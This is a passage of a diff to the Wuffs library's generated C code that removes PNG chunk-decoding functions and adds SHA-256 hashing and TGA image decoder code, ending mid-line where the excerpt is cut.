wuffs_png__decoder__decode_chrm(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_seen_chrm = true; +- } +- } else if (self->private_impl.f_chunk_type == 1280598886u) { +- if (self->private_impl.f_seen_fctl) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- status = wuffs_png__decoder__decode_fctl(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_seen_fctl = true; +- } else if (self->private_impl.f_chunk_type == 1095582055u) { +- if (self->private_impl.f_report_metadata_gama) { +- if (self->private_impl.f_seen_gama) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- status = wuffs_png__decoder__decode_gama(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_seen_gama = true; +- } +- } else if (self->private_impl.f_chunk_type == 1346585449u) { +- if (self->private_impl.f_report_metadata_iccp) { +- if (self->private_impl.f_seen_iccp) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- status = wuffs_png__decoder__decode_iccp(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_seen_iccp = true; +- } +- } else if (self->private_impl.f_chunk_type == 1111970419u) { +- if (self->private_impl.f_report_metadata_srgb) { +- if (self->private_impl.f_seen_srgb) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- status = wuffs_png__decoder__decode_srgb(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_seen_srgb = true; +- } +- } else if (self->private_impl.f_chunk_type == 1397641844u) { +- if (self->private_impl.f_seen_trns || (self->private_impl.f_color_type > 3u) || ((self->private_impl.f_color_type == 3u) && ! self->private_impl.f_seen_plte)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- status = wuffs_png__decoder__decode_trns(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_seen_trns = true; +- } ++ v_final_block = true; ++ } else { ++ v_buf_data[v_buf_len] = 128u; ++ v_buf_len += 1u; ++ while (v_buf_len < 64u) { ++ v_buf_data[v_buf_len] = 0u; ++ v_buf_len += 1u; ++ } ++ } ++ v_h0 = self->private_impl.f_h0; ++ v_a = v_h0; ++ v_h1 = self->private_impl.f_h1; ++ v_b = v_h1; ++ v_h2 = self->private_impl.f_h2; ++ v_c = v_h2; ++ v_h3 = self->private_impl.f_h3; ++ v_d = v_h3; ++ v_h4 = self->private_impl.f_h4; ++ v_e = v_h4; ++ v_h5 = self->private_impl.f_h5; ++ v_f = v_h5; ++ v_h6 = self->private_impl.f_h6; ++ v_g = v_h6; ++ v_h7 = self->private_impl.f_h7; ++ v_h = v_h7; ++ while (true) { ++ if (v_final_block) { ++ v_length_in_bits = ((uint64_t)(self->private_impl.f_length_modulo_u64 * 8u)); ++ v_buf_data[56u] = ((uint8_t)((v_length_in_bits >> 56u))); ++ v_buf_data[57u] = ((uint8_t)((v_length_in_bits >> 48u))); ++ v_buf_data[58u] = ((uint8_t)((v_length_in_bits >> 40u))); ++ v_buf_data[59u] = ((uint8_t)((v_length_in_bits >> 32u))); ++ v_buf_data[60u] = ((uint8_t)((v_length_in_bits >> 24u))); ++ v_buf_data[61u] = ((uint8_t)((v_length_in_bits >> 16u))); ++ v_buf_data[62u] = ((uint8_t)((v_length_in_bits >> 8u))); ++ v_buf_data[63u] = ((uint8_t)(v_length_in_bits)); ++ } ++ v_w[0u] = ((((uint32_t)(v_buf_data[0u])) << 24u) | ++ (((uint32_t)(v_buf_data[1u])) << 16u) | ++ (((uint32_t)(v_buf_data[2u])) << 8u) | ++ ((uint32_t)(v_buf_data[3u]))); ++ v_w[1u] = ((((uint32_t)(v_buf_data[4u])) << 24u) | ++ (((uint32_t)(v_buf_data[5u])) << 16u) | ++ (((uint32_t)(v_buf_data[6u])) << 8u) | ++ ((uint32_t)(v_buf_data[7u]))); ++ v_w[2u] = ((((uint32_t)(v_buf_data[8u])) << 24u) | ++ (((uint32_t)(v_buf_data[9u])) << 16u) | ++ (((uint32_t)(v_buf_data[10u])) << 8u) | ++ ((uint32_t)(v_buf_data[11u]))); ++ v_w[3u] = ((((uint32_t)(v_buf_data[12u])) << 24u) | ++ (((uint32_t)(v_buf_data[13u])) << 16u) | ++ (((uint32_t)(v_buf_data[14u])) << 8u) | ++ ((uint32_t)(v_buf_data[15u]))); ++ v_w[4u] = ((((uint32_t)(v_buf_data[16u])) << 24u) | ++ (((uint32_t)(v_buf_data[17u])) << 16u) | ++ (((uint32_t)(v_buf_data[18u])) << 8u) | ++ ((uint32_t)(v_buf_data[19u]))); ++ v_w[5u] = ((((uint32_t)(v_buf_data[20u])) << 24u) | ++ (((uint32_t)(v_buf_data[21u])) << 16u) | ++ (((uint32_t)(v_buf_data[22u])) << 8u) | ++ ((uint32_t)(v_buf_data[23u]))); ++ v_w[6u] = ((((uint32_t)(v_buf_data[24u])) << 24u) | ++ (((uint32_t)(v_buf_data[25u])) << 16u) | ++ (((uint32_t)(v_buf_data[26u])) << 8u) | ++ ((uint32_t)(v_buf_data[27u]))); ++ v_w[7u] = ((((uint32_t)(v_buf_data[28u])) << 24u) | ++ (((uint32_t)(v_buf_data[29u])) << 16u) | ++ (((uint32_t)(v_buf_data[30u])) << 8u) | ++ ((uint32_t)(v_buf_data[31u]))); ++ v_w[8u] = ((((uint32_t)(v_buf_data[32u])) << 24u) | ++ (((uint32_t)(v_buf_data[33u])) << 16u) | ++ (((uint32_t)(v_buf_data[34u])) << 8u) | ++ ((uint32_t)(v_buf_data[35u]))); ++ v_w[9u] = ((((uint32_t)(v_buf_data[36u])) << 24u) | ++ (((uint32_t)(v_buf_data[37u])) << 16u) | ++ (((uint32_t)(v_buf_data[38u])) << 8u) | ++ ((uint32_t)(v_buf_data[39u]))); ++ v_w[10u] = ((((uint32_t)(v_buf_data[40u])) << 24u) | ++ (((uint32_t)(v_buf_data[41u])) << 16u) | ++ (((uint32_t)(v_buf_data[42u])) << 8u) | ++ ((uint32_t)(v_buf_data[43u]))); ++ v_w[11u] = ((((uint32_t)(v_buf_data[44u])) << 24u) | ++ (((uint32_t)(v_buf_data[45u])) << 16u) | ++ (((uint32_t)(v_buf_data[46u])) << 8u) | ++ ((uint32_t)(v_buf_data[47u]))); ++ v_w[12u] = ((((uint32_t)(v_buf_data[48u])) << 24u) | ++ (((uint32_t)(v_buf_data[49u])) << 16u) | ++ (((uint32_t)(v_buf_data[50u])) << 8u) | ++ ((uint32_t)(v_buf_data[51u]))); ++ v_w[13u] = ((((uint32_t)(v_buf_data[52u])) << 24u) | ++ (((uint32_t)(v_buf_data[53u])) << 16u) | ++ (((uint32_t)(v_buf_data[54u])) << 8u) | ++ ((uint32_t)(v_buf_data[55u]))); ++ v_w[14u] = ((((uint32_t)(v_buf_data[56u])) << 24u) | ++ (((uint32_t)(v_buf_data[57u])) << 16u) | ++ (((uint32_t)(v_buf_data[58u])) << 8u) | ++ ((uint32_t)(v_buf_data[59u]))); ++ v_w[15u] = ((((uint32_t)(v_buf_data[60u])) << 24u) | ++ (((uint32_t)(v_buf_data[61u])) << 16u) | ++ (((uint32_t)(v_buf_data[62u])) << 8u) | ++ ((uint32_t)(v_buf_data[63u]))); ++ v_i = 16u; ++ while (v_i < 64u) { ++ v_w2 = v_w[(v_i - 2u)]; ++ v_s1 = ((v_w2 >> 10u) ^ (((uint32_t)(v_w2 << 15u)) | (v_w2 >> 17u)) ^ (((uint32_t)(v_w2 << 13u)) | (v_w2 >> 19u))); ++ v_w15 = v_w[(v_i - 15u)]; ++ v_s0 = ((v_w15 >> 3u) ^ (((uint32_t)(v_w15 << 25u)) | (v_w15 >> 7u)) ^ (((uint32_t)(v_w15 << 14u)) | (v_w15 >> 18u))); ++ v_w[v_i] = ((uint32_t)(((uint32_t)(((uint32_t)(v_s1 + v_w[(v_i - 7u)])) + v_s0)) + v_w[(v_i - 16u)])); ++ v_i += 1u; + } +- if (self->private_impl.f_metadata_fourcc == 0u) { +- self->private_data.s_decode_other_chunk[0].scratch = self->private_impl.f_chunk_length; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- if (self->private_data.s_decode_other_chunk[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_decode_other_chunk[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_decode_other_chunk[0].scratch; ++ v_i = 0u; ++ while (v_i < 64u) { ++ v_t1 = v_h; ++ v_t1 += ((((uint32_t)(v_e << 26u)) | (v_e >> 6u)) ^ (((uint32_t)(v_e << 21u)) | (v_e >> 11u)) ^ (((uint32_t)(v_e << 7u)) | (v_e >> 25u))); ++ v_t1 += ((v_e & v_f) ^ ((4294967295u ^ v_e) & v_g)); ++ v_t1 += WUFFS_SHA256__K[v_i]; ++ v_t1 += v_w[v_i]; ++ v_t2 = ((((uint32_t)(v_a << 30u)) | (v_a >> 2u)) ^ (((uint32_t)(v_a << 19u)) | (v_a >> 13u)) ^ (((uint32_t)(v_a << 10u)) | (v_a >> 22u))); ++ v_t2 += ((v_a & v_b) ^ (v_a & v_c) ^ (v_b & v_c)); ++ v_h = v_g; ++ v_g = v_f; ++ v_f = v_e; ++ v_e = ((uint32_t)(v_d + v_t1)); ++ v_d = v_c; ++ v_c = v_b; ++ v_b = v_a; ++ v_a = ((uint32_t)(v_t1 + v_t2)); ++ v_i += 1u; ++ } ++ v_a += v_h0; ++ v_b += v_h1; ++ v_c += v_h2; ++ v_d += v_h3; ++ v_e += v_h4; ++ v_f += v_h5; ++ v_g += v_h6; ++ v_h += v_h7; ++ if (v_final_block) { ++ break; ++ } ++ v_final_block = true; ++ v_h0 = v_a; ++ v_h1 = v_b; ++ v_h2 = v_c; ++ v_h3 = v_d; ++ v_h4 = v_e; ++ v_h5 = v_f; ++ v_h6 = v_g; ++ v_h7 = v_h; ++ v_buf_len = 0u; ++ while (v_buf_len < 56u) { ++ v_buf_data[v_buf_len] = 0u; ++ v_buf_len += 1u; + } +- +- goto ok; +- ok: +- self->private_impl.p_decode_other_chunk[0] = 0; +- goto exit; + } ++ return wuffs_base__utility__make_bitvec256( ++ (((uint64_t)(v_h)) | (((uint64_t)(v_g)) << 32u)), ++ (((uint64_t)(v_f)) | (((uint64_t)(v_e)) << 32u)), ++ (((uint64_t)(v_d)) | (((uint64_t)(v_c)) << 32u)), ++ (((uint64_t)(v_b)) | (((uint64_t)(v_a)) << 32u))); ++} + +- goto suspend; +- suspend: +- self->private_impl.p_decode_other_chunk[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__SHA256) + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) + +- return status; +-} ++// ---------------- Status Codes Implementations + +-// -------- func png.decoder.decode_actl ++const char wuffs_tga__error__bad_header[] = "#tga: bad header"; ++const char wuffs_tga__error__bad_run_length_encoding[] = "#tga: bad run length encoding"; ++const char wuffs_tga__error__truncated_input[] = "#tga: truncated input"; ++const char wuffs_tga__error__unsupported_tga_file[] = "#tga: unsupported TGA file"; ++ ++// ---------------- Private Consts ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__decode_actl( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++wuffs_tga__decoder__do_decode_image_config( ++ wuffs_tga__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_tga__decoder__do_decode_frame_config( ++ wuffs_tga__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_tga__decoder__do_decode_frame( ++ wuffs_tga__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); ++ ++// ---------------- VTables ++ ++const wuffs_base__image_decoder__func_ptrs ++wuffs_tga__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_tga__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_tga__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_tga__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_tga__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_tga__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_tga__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_tga__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_tga__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_tga__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_tga__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_tga__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_tga__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_tga__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_tga__decoder__initialize( ++ wuffs_tga__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_tga__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_tga__decoder* ++wuffs_tga__decoder__alloc(void) { ++ wuffs_tga__decoder* x = ++ (wuffs_tga__decoder*)(calloc(1, sizeof(wuffs_tga__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_tga__decoder__initialize( ++ x, sizeof(wuffs_tga__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; + } ++ return x; ++} + +- uint32_t coro_susp_point = self->private_impl.p_decode_actl[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++size_t ++sizeof__wuffs_tga__decoder(void) { ++ return sizeof(wuffs_tga__decoder); ++} + +- if (self->private_impl.f_chunk_length != 8u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } else if (self->private_impl.f_interlace_pass > 0u) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); +- goto exit; +- } +- self->private_impl.f_chunk_length = 0u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_actl[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_actl[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 24) { +- t_0 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); +- } +- } +- self->private_impl.f_num_animation_frames_value = t_0; +- } +- if (self->private_impl.f_num_animation_frames_value == 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_actl[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_actl[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); +- if (num_bits_1 == 24) { +- t_1 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)); +- } +- } +- self->private_impl.f_num_animation_loops_value = t_1; +- } ++// ---------------- Function Implementations + +- goto ok; +- ok: +- self->private_impl.p_decode_actl[0] = 0; +- goto exit; ++// -------- func tga.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_tga__decoder__get_quirk( ++ const wuffs_tga__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; + } + +- goto suspend; +- suspend: +- self->private_impl.p_decode_actl[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ return 0u; ++} + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++// -------- func tga.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__set_quirk( ++ wuffs_tga__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } + +- return status; ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func png.decoder.decode_chrm ++// -------- func tga.decoder.decode_image_config + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_chrm( +- wuffs_png__decoder* self, ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__decode_image_config( ++ wuffs_tga__decoder* self, ++ wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint64_t v_u = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_chrm[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_chunk_length != 32u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length = 0u; +- self->private_impl.f_metadata_flavor = 5u; +- self->private_impl.f_metadata_fourcc = 1128813133u; +- self->private_impl.f_metadata_x = 0u; +- self->private_impl.f_metadata_y = 0u; +- self->private_impl.f_metadata_z = 0u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint64_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_chrm[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 24) { +- t_0 = ((uint64_t)(*scratch >> 32)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); +- } +- } +- v_u = t_0; +- } +- self->private_impl.f_metadata_x |= ((16777215u & v_u) << 0u); +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint64_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_1 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_chrm[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); +- if (num_bits_1 == 24) { +- t_1 = ((uint64_t)(*scratch >> 32)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)); +- } +- } +- v_u = t_1; +- } +- self->private_impl.f_metadata_x |= ((16777215u & v_u) << 24u); +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- uint64_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_2 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_chrm[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); +- if (num_bits_2 == 24) { +- t_2 = ((uint64_t)(*scratch >> 32)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)); +- } +- } +- v_u = t_2; +- } +- self->private_impl.f_metadata_x |= ((uint64_t)((16777215u & v_u) << 48u)); +- self->private_impl.f_metadata_y |= ((16777215u & v_u) >> 16u); +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- uint64_t t_3; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_3 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_chrm[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); +- if (num_bits_3 